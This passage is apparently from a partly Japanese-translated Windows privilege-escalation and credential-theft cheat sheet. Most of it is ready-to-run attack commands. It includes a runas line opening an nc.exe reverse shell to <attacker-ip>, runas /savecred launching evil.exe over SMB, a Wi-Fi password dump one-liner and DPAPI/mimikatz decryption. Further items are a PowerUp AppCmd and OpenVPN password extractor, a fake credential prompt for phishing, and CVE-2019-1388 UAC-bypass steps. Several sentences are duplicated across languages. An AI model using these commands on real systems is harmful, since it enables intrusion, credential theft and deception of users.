for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )

このチェックを悪用する方法の詳細については、次を参照してください：

Writable Sys Path +Dll Hijacking Privesc

ネットワーク

共有

net view #Get a list of computers
net view /all /domain [domainname] #Shares on the domains
net view \\computer /ALL #List shares of a computer
net use x: \\computer\share #Mount the share locally
net share #Check current shares

hosts file

hosts file にハードコードされた他の既知のコンピュータがないか確認する

type C:\Windows\System32\drivers\etc\hosts

ネットワークインターフェースとDNS

ipconfig /all
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft

開放ポート

外部から制限されたサービスを確認する

netstat -ano #Opened ports?

ルーティングテーブル

route print
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex

ARP テーブル

arp -A
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L

ファイアウォールルール

Check this page for Firewall related commands (ルールの一覧表示、ルールの作成、無効化、無効化…)

さらに commands for network enumeration here

Windows Subsystem for Linux (wsl)

C:\Windows\System32\bash.exe
C:\Windows\System32\wsl.exe

バイナリ bash.exe は C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe にもあります。

root user を取得すると任意のポートで待ち受けできます（nc.exe を使って初めてポートを待ち受ける際、GUI によって nc を firewall で許可するかどうかを尋ねられます）。

wsl whoami
./ubuntun1604.exe config --default-user root
wsl whoami
wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE'

簡単に root として bash を起動するには、--default-user root を試してください。

WSL のファイルシステムはフォルダ C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\ で参照できます。

Windows 認証情報

Winlogon 認証情報

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr /i "DefaultDomainName DefaultUserName DefaultPassword AltDefaultDomainName AltDefaultUserName AltDefaultPassword LastUsedUsername"

#Other way
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultPassword

Credentials manager / Windows vault

From https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault
Windows Vault は、Windows が 自動的にログインできる ように、サーバー、ウェブサイト、その他のプログラムのユーザー資格情報を保存します。最初は、ユーザーが Facebook、Twitter、Gmail などの認証情報を保存してブラウザで自動ログインできるように見えるかもしれませんが、実際はそうではありません。

Windows Vault は Windows が自動的にログインできる資格情報を保存するため、つまりリソース（サーバーやウェブサイト）にアクセスするための資格情報を必要とする任意の リソースにアクセスするための資格情報を必要とする Windows アプリケーション が、この Credential Manager & Windows Vault を利用して、ユーザーが毎回ユーザー名とパスワードを入力する代わりに保存された資格情報を使用できます。

アプリケーションが Credential Manager と連携しない限り、特定のリソースの資格情報を利用することはできないと思われます。したがって、アプリケーションが vault を利用したい場合は、何らかの方法でデフォルトのストレージ vault からそのリソースの資格情報を credential manager と通信して要求する 必要があります。

Use the cmdkey to list the stored credentials on the machine.

cmdkey /list
Currently stored credentials:
Target: Domain:interactive=WORKGROUP\Administrator
Type: Domain Password
User: WORKGROUP\Administrator

その後、runas を /savecred オプションで使用して saved credentials を利用できます。次の例は SMB 共有経由でリモートの binary を呼び出しています。

runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe"

提供された credential のセットを使って runas を実行する。

C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe"

注意: mimikatz、lazagne、credentialfileview、VaultPasswordView、またはEmpire Powershells module などから取得されることに注意してください。

DPAPI

The Data Protection API (DPAPI) はデータの対称暗号化手段を提供し、主に Windows オペレーティングシステム内で非対称の秘密鍵を対称的に暗号化するために使用されます。この暗号化は、エントロピーに大きく寄与するユーザーまたはシステムのシークレットを利用します。

DPAPI enables the encryption of keys through a symmetric key that is derived from the user’s login secrets。システム暗号化のシナリオでは、システムのドメイン認証シークレットを利用します。

DPAPI を使用して暗号化されたユーザーの RSA 鍵は、%APPDATA%\Microsoft\Protect\{SID} ディレクトリに保存されます。ここで {SID} はユーザーの Security Identifier を表します。 The DPAPI key, co-located with the master key that safeguards the user’s private keys in the same file は通常 64 バイトのランダムデータで構成されます。（このディレクトリへのアクセスは制限されており、CMD の dir コマンドでは内容を列挙できませんが、PowerShell では列挙可能であることに注意してください。）

Get-ChildItem  C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem  C:\Users\USER\AppData\Local\Microsoft\Protect\

適切な引数（/pvk または /rpc）を指定して、mimikatz module dpapi::masterkey を使用して復号できます。

credentials files protected by the master password は通常次の場所にあります:

dir C:\Users\username\AppData\Local\Microsoft\Credentials\
dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\

適切な /masterkey を使って mimikatz module dpapi::cred を利用して復号できます.\

You can extract many DPAPI masterkeys from memory with the sekurlsa::dpapi module (root の場合)。

DPAPI - Extracting Passwords

PowerShell 資格情報

PowerShell credentials は、暗号化された資格情報を便利に保存する方法として、scripting や自動化タスクでよく使われます。これらの資格情報は DPAPI によって保護されており、通常、作成されたのと同じユーザーが同じコンピュータ上でのみ復号できます。

To decrypt a PS credentials from the file containing it you can do:

PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml'
PS C:\> $credential.GetNetworkCredential().username

john

PS C:\htb> $credential.GetNetworkCredential().password

JustAPWD!

無線LAN

#List saved Wifi using
netsh wlan show profile
#To get the clear-text password use
netsh wlan show profile <SSID> key=clear
#Oneliner to extract all wifi passwords
cls & echo. & for /f "tokens=3,* delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name="%b" key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on*

保存された RDP 接続

次のレジストリキーにあります HKEY_USERS\<SID>\Software\Microsoft\Terminal Server Client\Servers\
および HKCU\Software\Microsoft\Terminal Server Client\Servers\

最近実行されたコマンド

HCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
HKCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU

リモートデスクトップの資格情報マネージャー

%localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings

Use the Mimikatz dpapi::rdg module with appropriate /masterkey to decrypt any .rdg files
適切な /masterkey を指定して Mimikatz の dpapi::rdg モジュールを使用すると、任意の .rdg ファイルを復号できます。
You can extract many DPAPI masterkeys from memory with the Mimikatz sekurlsa::dpapi module また、sekurlsa::dpapi モジュールを使うことで、メモリから多数の DPAPI masterkeys を抽出できます。

Sticky Notes

People often use the StickyNotes app on Windows workstations to save passwords and other information, not realizing it is a database file. This file is located at C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite and is always worth searching for and examining. 多くの場合、Windows ワークステーション上の StickyNotes アプリは、これがデータベースファイルであると気づかないまま、パスワードなどの情報を保存するために使われます。
このファイルは C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite にあり、常に検索して調べる価値があります。

AppCmd.exe

Note that to recover passwords from AppCmd.exe you need to be Administrator and run under a High Integrity level.
AppCmd.exe is located in the %systemroot%\system32\inetsrv\ directory.
If this file exists then it is possible that some credentials have been configured and can be recovered. AppCmd.exe からパスワードを回復するには、管理者であり、High Integrity レベルで実行する必要があることに注意してください。
AppCmd.exe は %systemroot%\system32\inetsrv\ ディレクトリにあります。
このファイルが存在する場合、何らかの credentials が設定されており、回復 できる可能性があります。

This code was extracted from PowerUP: このコードは PowerUP から抽出されました:

function Get-ApplicationHost {
$OrigError = $ErrorActionPreference
$ErrorActionPreference = "SilentlyContinue"

# Check if appcmd.exe exists
if (Test-Path  ("$Env:SystemRoot\System32\inetsrv\appcmd.exe")) {
# Create data table to house results
$DataTable = New-Object System.Data.DataTable

# Create and name columns in the data table
$Null = $DataTable.Columns.Add("user")
$Null = $DataTable.Columns.Add("pass")
$Null = $DataTable.Columns.Add("type")
$Null = $DataTable.Columns.Add("vdir")
$Null = $DataTable.Columns.Add("apppool")

# Get list of application pools
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppools /text:name" | ForEach-Object {

# Get application pool name
$PoolName = $_

# Get username
$PoolUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.username"
$PoolUser = Invoke-Expression $PoolUserCmd

# Get password
$PoolPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.password"
$PoolPassword = Invoke-Expression $PoolPasswordCmd

# Check if credentials exists
if (($PoolPassword -ne "") -and ($PoolPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($PoolUser, $PoolPassword,'Application Pool','NA',$PoolName)
}
}

# Get list of virtual directories
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir /text:vdir.name" | ForEach-Object {

# Get Virtual Directory Name
$VdirName = $_

# Get username
$VdirUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:userName"
$VdirUser = Invoke-Expression $VdirUserCmd

# Get password
$VdirPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:password"
$VdirPassword = Invoke-Expression $VdirPasswordCmd

# Check if credentials exists
if (($VdirPassword -ne "") -and ($VdirPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($VdirUser, $VdirPassword,'Virtual Directory',$VdirName,'NA')
}
}

# Check if any passwords were found
if( $DataTable.rows.Count -gt 0 ) {
# Display results in list view that can feed into the pipeline
$DataTable |  Sort-Object type,user,pass,vdir,apppool | Select-Object user,pass,type,vdir,apppool -Unique
}
else {
# Status user
Write-Verbose 'No application pool or virtual directory passwords were found.'
$False
}
}
else {
Write-Verbose 'Appcmd.exe does not exist in the default location.'
$False
}
$ErrorActionPreference = $OrigError
}

SCClient / SCCM

C:\Windows\CCM\SCClient.exe が存在するか確認する .
インストーラーは run with SYSTEM privileges, 多くは DLL Sideloading (Info from https://github.com/enjoiz/Privesc).

$result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion
if ($result) { $result }
else { Write "Not Installed." }

ファイルとレジストリ (Credentials)

Putty Creds

reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_USER HostName PortNumber UserName PublicKeyFile PortForwardings ConnectionSharing ProxyPassword ProxyUsername" #Check the values saved in each session, user/password could be there

Putty SSH ホストキー

reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\

レジストリ内の SSH keys

SSH private keys はレジストリキー HKCU\Software\OpenSSH\Agent\Keys に保存されていることがあるため、そこに興味深いものがないか確認してください:

reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys'

そのパス内にエントリが見つかった場合、おそらく保存された SSH キーです。暗号化されて格納されていますが、https://github.com/ropnop/windows_sshagent_extract.
この手法の詳細はこちら: https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/

もし ssh-agent サービスが実行されておらず、起動時に自動で開始させたい場合は、次を実行してください:

Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service

Tip

この技術はもう有効ではないようです。いくつかの ssh キーを作成し、ssh-add で追加して、ssh でマシンにログインしてみました。レジストリ HKCU\Software\OpenSSH\Agent\Keys は存在せず、procmon は非対称キー認証中に dpapi.dll の使用を特定しませんでした。

放置されたファイル

C:\Windows\sysprep\sysprep.xml
C:\Windows\sysprep\sysprep.inf
C:\Windows\sysprep.inf
C:\Windows\Panther\Unattended.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\System32\Sysprep\unattend.xml
C:\Windows\System32\Sysprep\unattended.xml
C:\unattend.txt
C:\unattend.inf
dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul

これらのファイルはmetasploitを使って検索することもできます: post/windows/gather/enum_unattend

例の内容:

<component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="amd64">
<AutoLogon>
<Password>U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo==</Password>
<Enabled>true</Enabled>
<Username>Administrateur</Username>
</AutoLogon>

<UserAccounts>
<LocalAccounts>
<LocalAccount wcm:action="add">
<Password>*SENSITIVE*DATA*DELETED*</Password>
<Group>administrators;users</Group>
<Name>Administrateur</Name>
</LocalAccount>
</LocalAccounts>
</UserAccounts>

SAM & SYSTEM のバックアップ

# Usually %SYSTEMROOT% = C:\Windows
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SYSTEM
%SYSTEMROOT%\System32\config\RegBack\system

クラウド資格情報

#From user home
.aws\credentials
AppData\Roaming\gcloud\credentials.db
AppData\Roaming\gcloud\legacy_credentials
AppData\Roaming\gcloud\access_tokens.db
.azure\accessTokens.json
.azure\azureProfile.json

McAfee SiteList.xml

ファイル名が SiteList.xml のファイルを検索してください。

キャッシュされた GPP パスワード

以前、Group Policy Preferences (GPP) を使って複数のマシンにカスタムのローカル管理者アカウントを配布できる機能がありました。しかし、この方法には重大なセキュリティ上の欠陥がありました。第一に、SYSVOL に XML ファイルとして格納される Group Policy Objects (GPOs) は任意のドメインユーザーがアクセスできました。第二に、これらの GPP 内のパスワードは公開されているデフォルトキーを用いた AES256 で暗号化されており、認証済みの任意のユーザーが復号できました。このため、ユーザーが権限昇格できる危険がありました。

このリスクを軽減するために、ローカルにキャッシュされた GPP ファイルをスキャンし、“cpassword” フィールドが空でないファイルを検出する関数が作られました。該当するファイルが見つかると、その関数はパスワードを復号し、カスタムの PowerShell オブジェクトを返します。このオブジェクトには GPP の詳細やファイルの場所が含まれ、脆弱性の特定と修復に役立ちます。

Search in C:\ProgramData\Microsoft\Group Policy\history or in C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history (Windows Vista より前) for these files:

  • Groups.xml
  • Services.xml
  • Scheduledtasks.xml
  • DataSources.xml
  • Printers.xml
  • Drives.xml

cPassword を復号するには:

#To decrypt these passwords you can decrypt it using
gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw

crackmapexec を使ってパスワードを取得する:

crackmapexec smb 10.10.10.10 -u username -p pwd -M gpp_autologin

IIS の Web Config

Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
C:\inetpub\wwwroot\web.config

Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
Get-Childitem –Path C:\xampp\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue

資格情報を含む web.config の例:

<authentication mode="Forms">
<forms name="login" loginUrl="/admin">
<credentials passwordFormat = "Clear">
<user name="Administrator" password="SuperAdminPassword" />
</credentials>
</forms>
</authentication>

OpenVPN の認証情報

Add-Type -AssemblyName System.Security
$keys = Get-ChildItem "HKCU:\Software\OpenVPN-GUI\configs"
$items = $keys | ForEach-Object {Get-ItemProperty $_.PsPath}

foreach ($item in $items)
{
$encryptedbytes=$item.'auth-data'
$entropy=$item.'entropy'
$entropy=$entropy[0..(($entropy.Length)-2)]

$decryptedbytes = [System.Security.Cryptography.ProtectedData]::Unprotect(
$encryptedBytes,
$entropy,
[System.Security.Cryptography.DataProtectionScope]::CurrentUser)

Write-Host ([System.Text.Encoding]::Unicode.GetString($decryptedbytes))
}

ログ

# IIS
C:\inetpub\logs\LogFiles\*

#Apache
Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue

credentials を要求する

その人が知っていると思われる場合、いつでもユーザーに自身の credentials、あるいは別のユーザーの credentials さえ入力するよう頼むことができます（注意: クライアントに直接尋ねることやcredentialsを要求するのは本当に危険です）：

$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password

#Get plaintext
$cred.GetNetworkCredential() | fl

credentials を含む可能性のあるファイル名

かつてpasswordsをclear-textまたはBase64で含んでいた既知のファイル

$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history
vnc.ini, ultravnc.ini, *vnc*
web.config
php.ini httpd.conf httpd-xampp.conf my.ini my.cnf (XAMPP, Apache, PHP)
SiteList.xml #McAfee
ConsoleHost_history.txt #PS-History
*.gpg
*.pgp
*config*.php
elasticsearch.y*ml
kibana.y*ml
*.p12
*.der
*.csr
*.cer
known_hosts
id_rsa
id_dsa
*.ovpn
anaconda-ks.cfg
hostapd.conf
rsyncd.conf
cesi.conf
supervisord.conf
tomcat-users.xml
*.kdbx
KeePass.config
Ntds.dit
SAM
SYSTEM
FreeSSHDservice.ini
access.log
error.log
server.xml
ConsoleHost_history.txt
setupinfo
setupinfo.bak
key3.db         #Firefox
key4.db         #Firefox
places.sqlite   #Firefox
"Login Data"    #Chrome
Cookies         #Chrome
Bookmarks       #Chrome
History         #Chrome
TypedURLsTime   #IE
TypedURLs       #IE
%SYSTEMDRIVE%\pagefile.sys
%WINDIR%\debug\NetSetup.log
%WINDIR%\repair\sam
%WINDIR%\repair\system
%WINDIR%\repair\software, %WINDIR%\repair\security
%WINDIR%\iis6.log
%WINDIR%\system32\config\AppEvent.Evt
%WINDIR%\system32\config\SecEvent.Evt
%WINDIR%\system32\config\default.sav
%WINDIR%\system32\config\security.sav
%WINDIR%\system32\config\software.sav
%WINDIR%\system32\config\system.sav
%WINDIR%\system32\CCM\logs\*.log
%USERPROFILE%\ntuser.dat
%USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat

提案されたすべてのファイルを検索する:

cd C:\
dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd == .gitconfig == .git-credentials == Dockerfile == docker-compose.yml == access_tokens.db == accessTokens.json == azureProfile.json == appcmd.exe == scclient.exe == *.gpg$ == *.pgp$ == *config*.php == elasticsearch.y*ml == kibana.y*ml == *.p12$ == *.cer$ == known_hosts == *id_rsa* == *id_dsa* == *.ovpn == tomcat-users.xml == web.config == *.kdbx == KeePass.config == Ntds.dit == SAM == SYSTEM == security == software == FreeSSHDservice.ini == sysprep.inf == sysprep.xml == *vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == php.ini == https.conf == https-xampp.conf == my.ini == my.cnf == access.log == error.log == server.xml == ConsoleHost_history.txt == pagefile.sys == NetSetup.log == iis6.log == AppEvent.Evt == SecEvent.Evt == default.sav == security.sav == software.sav == system.sav == ntuser.dat == index.dat == bash.exe == wsl.exe 2>nul | findstr /v ".dll"

Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")}

RecycleBin の認証情報

Bin を確認して、その中の認証情報を探してください

複数のプログラムに保存されたパスワードを復元するには、次を使用できます: http://www.nirsoft.net/password_recovery_tools.html

レジストリ内

認証情報を含むその他のレジストリキー

reg query "HKCU\Software\ORL\WinVNC3\Password"
reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s
reg query "HKCU\Software\TightVNC\Server"
reg query "HKCU\Software\OpenSSH\Agent\Key"

Extract openssh keys from registry.

ブラウザの履歴

Chrome or Firefoxからpasswordsが保存されているdbを確認してください。
また、ブラウザの履歴、ブックマーク、およびお気に入りも確認し、そこにpasswordsが保存されている可能性があります。

ブラウザからpasswordsを抽出するツール:

COM DLL Overwriting

**Component Object Model (COM)**は、異なる言語で記述されたソフトウェアコンポーネント間の相互通信を可能にするWindowsに組み込まれた技術です。各COMコンポーネントはclass ID (CLSID)で識別され、各コンポーネントは1つ以上のインターフェースを介して機能を公開し、これらはinterface IDs (IIDs)で識別されます。

COMクラスとインターフェースは、それぞれレジストリのHKEY\CLASSES\ROOT\CLSIDおよびHKEY\CLASSES\ROOT\Interfaceの下に定義されています。このレジストリは HKEY\LOCAL\MACHINE\Software\Classes + HKEY\CURRENT\USER\Software\Classes をマージして作成され、これが HKEY\CLASSES\ROOT です。

このレジストリのCLSIDの中には、子レジストリの InProcServer32 があり、そこにはDLLを指すdefault valueと、ThreadingModelという値が含まれています。ThreadingModelの値は、Apartment (Single-Threaded)、Free (Multi-Threaded)、Both (Single or Multi)、または Neutral (Thread Neutral) のいずれかです。

基本的に、実行されるDLLのいずれかを上書きできれば、そのDLLが別のユーザーによって実行される場合にescalate privilegesできる可能性があります。

攻撃者がCOM Hijackingをpersistence mechanismとしてどのように利用するかを学ぶには、次を確認してください:

COM Hijacking

Generic Password search in files and registry

Search for file contents

cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt
findstr /si password *.xml *.ini *.txt *.config
findstr /spin "password" *.*

特定のファイル名を持つファイルを検索する

dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
where /R C:\ user.txt
where /R C:\ *.ini

レジストリを検索してキー名とパスワードを探す

REG QUERY HKLM /F "password" /t REG_SZ /S /K
REG QUERY HKCU /F "password" /t REG_SZ /S /K
REG QUERY HKLM /F "password" /t REG_SZ /S /d
REG QUERY HKCU /F "password" /t REG_SZ /S /d

passwords を検索するツール

MSF-Credentials Plugin は msf プラグインで、私はこのプラグインを被害者内でcredentialsを検索するすべてのmetasploit POST moduleを自動的に実行するように作成しました。
Winpeas はこのページで言及されている passwords を含むすべてのファイルを自動的に検索します。
Lazagne はシステムから password を抽出するもう一つの優れたツールです。

このツール SessionGopher は、データをプレーンテキストで保存するいくつかのツール（PuTTY, WinSCP, FileZilla, SuperPuTTY, and RDP）のsessions、usernames、およびpasswordsを検索します。

Import-Module path\to\SessionGopher.ps1;
Invoke-SessionGopher -Thorough
Invoke-SessionGopher -AllDomain -o
Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss

Leaked Handlers

次を想像してください：SYSTEMとして動作するプロセスが新しいプロセスを開く（OpenProcess()）、それがフルアクセスを持つとします。 同じプロセスが、CreateProcess()で低権限の新しいプロセスを作成し、メインプロセスのすべてのオープンハンドルを継承している場合。
その場合、もしあなたが低権限プロセスに対してフルアクセスを持っているなら、OpenProcess()で作成された特権プロセスへのオープンハンドルを取得してshellcodeをインジェクトすることができます。
この脆弱性を検出および悪用する方法の詳細については、この例を参照してください。
異なる権限レベルで継承されたプロセスやスレッドのオープンハンドル（フルアクセスだけでなく）をテスト／悪用する方法について、より詳細な説明はこの別の記事を参照してください。

Named Pipe Client Impersonation

共有メモリセグメント、pipesと呼ばれるものは、プロセス間の通信とデータ転送を可能にします。

WindowsはNamed Pipesという機能を提供しており、無関係なプロセス同士でも、場合によっては異なるネットワーク上でデータを共有できます。これはクライアント/サーバーアーキテクチャに似ており、役割はnamed pipe serverとnamed pipe clientとして定義されます。

パイプを通じてデータがclientによって送られると、パイプを設定したserverは、必要なSeImpersonate権限があればclientのアイデンティティを引き受けることができます。あなたが模倣できるパイプ経由で通信するprivileged processを特定できれば、そのプロセスがあなたの作成したパイプとやり取りしたときにそのアイデンティティを引き受けることでより高い権限を取得する機会が生まれます。攻撃の実行手順については、こちらとこちらのガイドが参考になります。

また、次のツールはburpのようなツールでnamed pipeの通信をインターセプトすることを可能にします: https://github.com/gabriel-sztejnworcel/pipe-intercept そしてこのツールはprivescsを見つけるためにすべてのパイプを列挙・確認することを可能にします https://github.com/cyberark/PipeViewer

Telephony tapsrv remote DWORD write to RCE

サーバーモードの Telephony サービス（TapiSrv）は \\pipe\\tapsrv（MS-TRP）を公開します。リモートの認証済みクライアントは、mailslotベースの非同期イベント経路を悪用して ClientAttach を、NETWORK SERVICE で書き込み可能な既存ファイルへの任意の4-byte writeに変え、その後 Telephony 管理権を取得してサービスとして任意の DLL を読み込ませることができます。フローは次の通りです:

  • ClientAttach で pszDomainUser を書き込み可能な既存パスに設定 → サービスはそれを CreateFileW(..., OPEN_EXISTING) で開き、非同期イベント書き込みに使用します。
  • 各イベントは Initialize の攻撃者制御下にある InitContext をそのハンドルに書き込みます。LRegisterRequestRecipient（Req_Func 61）で line app を登録し、TRequestMakeCall（Req_Func 121）をトリガーし、GetAsyncEvents（Req_Func 0）で取得してからアンレジスター／シャットダウンすることで決定論的な書き込みを繰り返します。
  • C:\Windows\TAPI\tsec.ini の [TapiAdministrators] に自分を追加し、再接続して任意の DLL パスで GetUIDllName を呼び出すと、NETWORK SERVICE として TSPI_providerUIIdentify が実行されます。

More details:

Telephony Tapsrv Arbitrary Dword Write To Rce

その他

Windowsで実行を引き起こせるファイル拡張子

ページ https://filesec.io/ を確認してください

Protocol handler / ShellExecute abuse via Markdown renderers

クリック可能な Markdown リンクが ShellExecuteExW に渡されると、危険な URI ハンドラ（file:、ms-appinstaller: や任意の登録スキーム）をトリガーし、攻撃者制御下のファイルを現在のユーザーとして実行させる可能性があります。詳しくは次を参照してください：

Protocol Handler Shell Execute Abuse

コマンドライン内のパスワード監視

ユーザーとしてシェルを得た場合、スケジュールされたタスクやその他のプロセスがコマンドラインで資格情報を渡していることがあります。以下のスクリプトは2秒ごとにプロセスのコマンドラインを取得し、現在の状態と前回の状態を比較して差分を出力します。

while($true)
{
$process = Get-WmiObject Win32_Process | Select-Object CommandLine
Start-Sleep 1
$process2 = Get-WmiObject Win32_Process | Select-Object CommandLine
Compare-Object -ReferenceObject $process -DifferenceObject $process2
}

Stealing passwords from processes

From Low Priv User to NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC Bypass

グラフィカルインターフェース（console や RDP 経由）にアクセスでき、UAC が有効になっている場合、一部の Microsoft Windows バージョンでは、権限のないユーザーから “NT\AUTHORITY SYSTEM” のような端末やその他のプロセスを実行することが可能です。

これにより、同じ脆弱性を使って権限昇格と UAC のバイパスを同時に行うことができます。さらに、何かをインストールする必要はなく、プロセス中に使用されるバイナリは Microsoft によって署名・発行されています。

Some of the affected systems are the following:

SERVER
======

Windows 2008r2	7601	** link OPENED AS SYSTEM **
Windows 2012r2	9600	** link OPENED AS SYSTEM **
Windows 2016	14393	** link OPENED AS SYSTEM **
Windows 2019	17763	link NOT opened


WORKSTATION
===========

Windows 7 SP1	7601	** link OPENED AS SYSTEM **
Windows 8		9200	** link OPENED AS SYSTEM **
Windows 8.1		9600	** link OPENED AS SYSTEM **
Windows 10 1511	10240	** link OPENED AS SYSTEM **
Windows 10 1607	14393	** link OPENED AS SYSTEM **
Windows 10 1703	15063	link NOT opened
Windows 10 1709	16299	link NOT opened

この脆弱性を悪用するには、次の手順を実行する必要があります:

1) Right click on the HHUPD.EXE file and run it as Administrator.

2) When the UAC prompt appears, select "Show more details".

3) Click "Show publisher certificate information".

4) If the system is vulnerable, when clicking on the "Issued by" URL link, the default web browser may appear.

5) Wait for the site to load completely and select "Save as" to bring up an explorer.exe window.

6) In the address path of the explorer window, enter cmd.exe, powershell.exe or any other interactive process.

7) You now will have an "NT\AUTHORITY SYSTEM" command prompt.

8) Remember to cancel setup and the UAC prompt to return to your desktop.

You have all the necessary files and information in the following GitHub repository:

https://github.com/jas502n/CVE-2019-1388

管理者の Medium から High への Integrity Level / UAC バイパス

Integrity Levels について学ぶには、以下を読んでください:

Integrity Levels

次に、UAC と UAC バイパスについて学ぶには、以下を読んでください:

UAC - User Account Control

任意フォルダの削除/移動/名前変更 から SYSTEM EoP

この手法は このブログ記事 に記載されており、エクスプロイトコードは ここで入手可能 です。

攻撃は基本的に、Windows Installer の rollback 機能を悪用して、アンインストール時に正当なファイルを悪意あるファイルに置き換えるものです。そのために、攻撃者は C:\Config.Msi フォルダをハイジャックするための malicious MSI installer を作成する必要があります。C:\Config.Msi は後で Windows Installer が他の MSI パッケージのアンインストール時に rollback ファイルを格納するために使用します。rollback ファイルは悪意あるペイロードに改変されます。

要約すると手順は次のとおりです:

  1. Stage 1 – Hijack の準備（C:\Config.Msi を空にしておく）

  • Step 1: Install the MSI

    • 書き込み可能なフォルダ（TARGETDIR）に無害なファイル（例: dummy.txt）をインストールする .msi を作成します。
    • インストーラを “UAC Compliant” とマークして、非管理者ユーザー が実行できるようにします。
